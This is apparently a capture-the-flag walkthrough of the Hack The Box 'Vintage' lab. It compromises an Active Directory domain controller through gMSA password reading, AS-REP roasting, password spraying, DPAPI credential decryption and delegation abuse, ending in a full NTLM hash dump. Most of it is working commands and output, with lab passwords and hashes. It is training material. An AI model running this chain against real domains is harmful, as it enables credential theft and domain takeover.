HTB-Vintage

Box Info

Difficulty Hard
OS Windows
IP Address 10.10.11.45
Credentials P.Rosa : Rosaisbest123

Port Scanning

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# Check all open TCP
sudo rustscan 10.10.11.45 -r 1-65535 --ulimit 5000
# Nmap scan with script on open TCP port
sudo nmap 10.10.11.45 -sCV -Pn -sT -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49685,53972,62290
# Nmap scan vulnerability
sudo nmap -sT -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49685,53972,62290 --script=vuln -O -Pn 10.10.11.45
# Nmap scan with UDP port
sudo nmap -sU --top-ports 20 -Pn 10.10.11.45

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-29 15:16:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
53972/tcp open msrpc Microsoft Windows RPC
62290/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Update DNS

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sudo nano /etc/hosts
10.10.11.45 vintage.htb dc01.vintage.htb

Service Enumeration

389/tcp - LDAP

Since the account was provided lets use it to check LDAP

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ldapsearch -x -H ldap://10.10.11.45 -D 'vintage\P.Rosa' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf

Outcome of the ldapsearch

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# extended LDIF
#
# LDAPv3
# base <DC=vintage,DC=htb> with scope subtree
# filter: (objectClass=user)
# requesting: sAMAccountName memberOf
#

# Administrator, Users, vintage.htb
dn: CN=Administrator,CN=Users,DC=vintage,DC=htb
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=vintage,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: Administrator

# Guest, Users, vintage.htb
dn: CN=Guest,CN=Users,DC=vintage,DC=htb
memberOf: CN=Guests,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: Guest

# DC01, Domain Controllers, vintage.htb
dn: CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
sAMAccountName: DC01$

# krbtgt, Users, vintage.htb
dn: CN=krbtgt,CN=Users,DC=vintage,DC=htb
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=vintage,DC=htb
sAMAccountName: krbtgt

# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
sAMAccountName: gMSA01$

# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: FS01$

# M.Rossi, Users, vintage.htb
dn: CN=M.Rossi,CN=Users,DC=vintage,DC=htb
sAMAccountName: M.Rossi

# R.Verdi, Users, vintage.htb
dn: CN=R.Verdi,CN=Users,DC=vintage,DC=htb
sAMAccountName: R.Verdi

# L.Bianchi, Users, vintage.htb
dn: CN=L.Bianchi,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: L.Bianchi

# G.Viola, Users, vintage.htb
dn: CN=G.Viola,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: G.Viola

# C.Neri, Users, vintage.htb
dn: CN=C.Neri,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: C.Neri

# P.Rosa, Users, vintage.htb
dn: CN=P.Rosa,CN=Users,DC=vintage,DC=htb
sAMAccountName: P.Rosa

# svc_sql, Pre-Migration, vintage.htb
dn: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_sql

# svc_ldap, Pre-Migration, vintage.htb
dn: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_ldap

# svc_ark, Pre-Migration, vintage.htb
dn: CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_ark

# C.Neri_adm, Users, vintage.htb
dn: CN=C.Neri_adm,CN=Users,DC=vintage,DC=htb
memberOf: CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: C.Neri_adm

# L.Bianchi_adm, Users, vintage.htb
dn: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
memberOf: CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=vintage,DC=htb
sAMAccountName: L.Bianchi_adm

# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 17
# numReferences: 3

Inside the LDAP info found a Computer in name of FS01.vintage.htb lets update it into /etc/hosts

Bloodhound

In order to get DNS work proper, we need to change our KALI resolver.

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sudo nano /etc/resolv.conf
nameserver 10.10.11.45

Now we can start with bloodhound

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sudo ntpdate 10.10.11.45 && bloodhound-python -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -c All --zip -dc dc01.vintage.htb

After collected, start bloodhound

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sudo neo4j start
bloodhound

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L.BIANCHI_ADM user is Domain Admins

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C.NERI_ADM user can RDP into DC01

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GMSA01$@VINTAGE.HTB user had the GenericWrite and AddSelf permission to ServiceManagers group

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FS01 Computer is member of Domain Computers and this group able to ReadGMSAPassword

Initiate User Foothold

Obtain gMSA01$

Use impacket-gettgt to obtain TGT ticket in ccache format

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sudo ntpdate 10.10.11.45 && impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01

b33f7a9003902821e7f964de2e2f5d81.webp

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export KRB5CCNAME=FS01\$.ccache

Then use BloodyAD to obtain GMSA01$ managed service account password which is storing in the msDS-ManagedPassword attributes

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bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword

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distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178
msDS-ManagedPassword.B64ENCODED: cAPhluwn4ijHTUTo7liDUp19VWhIi9/YDwdTpCWVnKNzxHWm2Hl39sN8YUq3hoDfBcLp6S6QcJOnXZ426tWrk0ztluGpZlr3eWU9i6Uwgkaxkvb1ebvy6afUR+mRvtftwY1Vnr5IBKQyLT6ne3BEfEXR5P5iBy2z8brRd3lBHsDrKHNsM+Yd/OOlHS/e1gMiDkEKqZ4dyEakGx5TYviQxGH52ltp1KqT+Ls862fRRlEzwN03oCzkLYg24jvJW/2eK0aXceMgol7J4sFBY0/zAPwEJUg1PZsaqV43xWUrVl79xfcSbyeYKL0e8bKhdxNzdxPlsBcLbFmrdRdlKvE3WQ==

Now we can abuse the gMSA service user to obtain the Kerberos TGT with the hashes

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sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178

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export KRB5CCNAME=GMSA01\$.ccache

Then add P.Rosa into the SERVICEMANAGERS group, and use GMSA ccache to generate P.Rosa ticket

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sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"

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sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htb 

export KRB5CCNAME=P.Rosa.ccache

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With the SERVICEMANAGERS group, P.Rosa user now can obtain all the users.

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ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:" | cut -d " " -f 2 > users.txt

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Then use Impacket-GetNPUsers to list all the users that doesn’t require Kerberos Preauth (UF_DONT_REQUIRE_PREAUTH)

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sudo ntpdate 10.10.11.45 && impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

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Disable PREAUTH

After listed all the user that doesn’t require Kerberos Preauth, now we can abuse the bloodyAD tools to update DONT_REQ_PREAUTH attributes into the service user

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sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH

sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH

sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH

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Remove ACCOUNTDISABLE flags from the service users

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sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE

sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_LDAP -f ACCOUNTDISABLE

sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

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Now lets check those AD users again

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sudo ntpdate 10.10.11.45 && impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

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Obtained both 3 service user hashes

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$krb5asrep$23$svc_sql@VINTAGE.HTB:30fe580fde4cc8d859e66a0b633862ba$2a15c602b497013f8e4d445a711eceaadb5998c5b249411d3166ccea91ad5c37a91f26eace6a9f4f12009fa2712e959c68d8900185b0e07d3bd2df432497540874a4cbc5f1c4076b24c1652f6f7e8a294c0841614c3555a98a3cce78471c49c56aa607c01452c1e15d6f4034d32e7b15e4beff9d0a96eecc60d4a3d42109ce669c8bdc67d389df73e3e307f9a568b1904d74c14d617507edf0b5890b7dd03c0df8a87f3f1224a36be363b07e89f153b43815bdc18f34632859237aaa018b3231db461e6f77db0981f8a20819dc26684f1b231c2549b90ee8b0adb58fc59c2a19da122066a0209a60645d
$krb5asrep$23$svc_ldap@VINTAGE.HTB:ce3e6d591ee069ee4f84269d506e6495$294cae39538b0050bec15f7418342e3e0294e016ec3e61b96fc7d49034223b0cb12b70fc363998d9e1f949882511cd351ea322b8455d34496e5dc10dd322a626d30fc78d7908cc03c8705db7374459b6026a818b37db6681aabdfac970b5ba3735626eafe6eb7b033eb37dc04aea85b92f51580c614375d0b41a883ab5eb0cbaa91d8b1594315bdf9c2e6574f7f4871cd3abddf78afaaf09ec37422540aa2011fc1beb85ebe1b9c9049c433238be4525870102edc77f1eec5eaf64a170b2713a12dafe514a76272ee80708ca4ebeb0f6b782f1e8466c41b8fae9ad15d848af42e748dad671fd1ba32c69
$krb5asrep$23$svc_ark@VINTAGE.HTB:b1de691c95efac71e594b2981fa65887$8f21ce52b9457b693199d63e23b85ef2a1141c3d5e226384cec3ad5508d97209c30288e445980da0fbe05f12f0cf694e711eb1f87586df59a2483a6360b19400e14bff1abf06ae5afb6b33bf31ca038e48cf180ed34ba4ed318be4affe7a68792d0715f5cf82c9bb16f35c5bd5808a6c7a20971a9142f05439c9f2bc29b2fc471e712e78c85a48c7694168e013e4370ee37049dbfe906c2b2c1f5b49d66692c380be604a56481ad3c16c7d88f63ae711269be7b80a42a05886b86b5cc103c8a0e9cf9dc2fb8b5244219823575dea2d23b699a4961c0073d6ef60e979a9826aa419c81c83fb1b633cae2c

Crack Kerberos ASREP hash

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hashcat -m 18200 svc_sql.hash /usr/share/wordlists/rockyou.txt

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Here we obtained svc_sql service user password

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svc_sql : Zer0the0ne

Kerbrute Password Spray

https://github.com/ropnop/kerbrute

With the password obtain, lets try to check Kerbrute to password spray

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sudo ntpdate 10.10.11.45 && ./kerbrute --dc vintage.htb -d vintage.htb -v passwordspray ../HTB/Season6/Vintage/users.txt Zer0the0ne

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From the results shows that 2 logins was successful

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svc_sql@vintage.htb : Zer0the0ne
C.Neri@vintage.htb : Zer0the0ne

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WinRM C.NERI

Before proceed to WinRM, we need to obtain c.neri user ceritifcate

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sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/c.neri:Zer0the0ne -dc-ip vintage.htb
export KRB5CCNAME=c.neri.ccache
klist

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Update /etc/krb5.conf

https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98

Found a script to configure krb5.conf easily

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python3 configure_krb5.py vintage.htb dc01
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[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_kdc =true
dns_lookup_realm = false
ticket_lifetime = 24h
forwardable = true

[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
default_domain = vintage.htb
}

[domain_realm]
.vintage.htb = VINTAGE.HTB
vintage.htb = VINTAGE.HTB

Now we only can winrm access

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sudo ntpdate -s 10.10.11.45 && evil-winrm -i dc01.vintage.htb -u C.Neri -r vintage.htb

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User Flag

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Privilege Escalation

OS Explore

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Inside the OS there is antivirus running, which is hard to exploit, check the writeups, found we can start from DAPI.

DPAPI

DPAPI secrets | The Hacker Recipes

The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords).

We can abuse DPAPI to obtain data that are stored in the users directory and are secured by user-specific master keys derived from the users password.

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cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
dir -h
download C4BB96844A5C9DD45D5B6A9859252BA6

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cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
dir -h
download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

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Decrypt the DPAPI

Decrypt Masterkey

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impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne

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Owned the decrypted key, and it can be used to decrypt the credentials

Decrypt Credentials

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impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

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Here we obtained the c.neri_adm credentials

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c.neri_adm : Uncr4ck4bl3P4ssW0rd0312

Bloodhound from C.Neri_adm

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sudo ntpdate 10.10.11.45 && bloodhound-python -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -d vintage.htb -c All --zip -ns 10.10.11.45

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Initiate Root Foothold

DELEGATEDADMINS Group

Add the svc_sql user into DELEGATEDADMINS group

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sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"

sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/fake"

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Troubleshoot

Remove ACCOUNTDISABLE attribute from svc_sql user

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sudo ntpdate 10.10.11.45 && bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" -u 'C.Neri' -p Zer0the0ne -k --dc-ip 10.10.11.45 remove uac svc_sql -f ACCOUNTDISABLE

Then obtain svc_sql TGT

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sudo ntpdate 10.10.11.45 && impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb

export KRB5CCNAME=svc_sql.ccache

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Impersonate L.BIANCHI_ADM

Now we had added the svc_sql user to DELEGATED ADMINS, then we can obtain the L.BIANCHI_ADM user ticket

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sudo ntpdate 10.10.11.45 && impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'

96bdb357c69971f1fa00dadff71d1fbe.webp

Update svc_sql users to DELEGATED ADMINS groups and obtain L.BIANCHI_ADM user tgt in quick.

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sudo ntpdate 10.10.11.45 && impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'

Once obtained, export to KRB5CCNAME and use wmiexec to access

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export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache 
sudo ntpdate 10.10.11.45 && impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb

Root Flag

95bbaa06a32fceed058105c7ba8046a2.webp

LSA Hash

Dumping Domain Controller Hashes Locally and Remotely | Red Team Notes

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sudo ntpdate 10.10.11.45 && impacket-secretsdump -just-dc-ntlm -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb
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Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:6b751449807e0d73065b0423b64687f0:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::